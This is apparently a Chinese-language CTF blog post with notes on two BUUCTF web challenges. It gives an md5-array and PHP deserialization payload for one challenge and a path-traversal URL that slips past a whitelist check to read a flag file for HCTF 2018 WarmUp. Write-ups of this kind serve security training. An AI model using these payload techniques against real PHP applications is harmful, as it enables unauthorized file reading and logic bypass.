BUUweb笔记
BUU的做题笔记
BUU CODE REVIEW 11传送门
审计代码可以发现想要得到flag必须满足
1.pleaseget等于1
2.pleasepost等于2
3.md51和md52的md5值相等且md51和md52的值不相等
4.反序列化obj
payload
pleasepost=2&md51[]=1&md52[]=2&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
序列化构造方法
[HCTF 2018]WarmUp1 传送门
查看页面源代码
访问source.php
查看源码
! empty //要求变量不为空
is_string //要求传参的数值为字符型的
emmm::checkFile //将传递进来的值传到emmm这个类的checkFile这个函数里
总结就是传参进来的file为字符型就引用这个数值的文件否则就是执行图片代码
接下来看emmm类里的checkFile函数
! isset //要求传递的变量存在
!is_string //要求为字符串
in_array($page, $whitelist) //要求传递进来的值与$whitelist的值匹配
mb_substr($page,0,mb_strpos($page . '?', '?')) //取传递进来的值的第一位开始到出现?结束如果没?则全部
可以看到$whitelist的值只有source.php和hint.php
访问
http://c3a077b0-eb2a-4aed-99af-463e018bd390.node3.buuoj.cn/source.php/?file=hint.php
得到提示
flag在ffffllllaaaagggg里面
构造获取flag的语句
payload
http://c3a077b0-eb2a-4aed-99af-463e018bd390.node3.buuoj.cn/?file=hint.php?../../../../../ffffllllaaaagggg
虽然在checkFile函数中对file的值进行了一系列处理,但是并没有影响到file真正的值,因为在使用处理后的file进行白名单匹配的时候,都是使用了一个新的变量接受file的值,而并没有直接影响file本来的值,所以file的值依旧为
file=hint.php?../../../../../ffffllllaaaagggg
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 1012482327@qq.com
文章标题:BUUweb笔记
本文作者:亖 玖
发布时间:2021-03-17, 14:38:32
最后更新:2022-12-08, 11:05:43
原始链接:https://sijiu.ren.com/2021/03/17/BUUweb%E7%AC%94%E8%AE%B0/版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。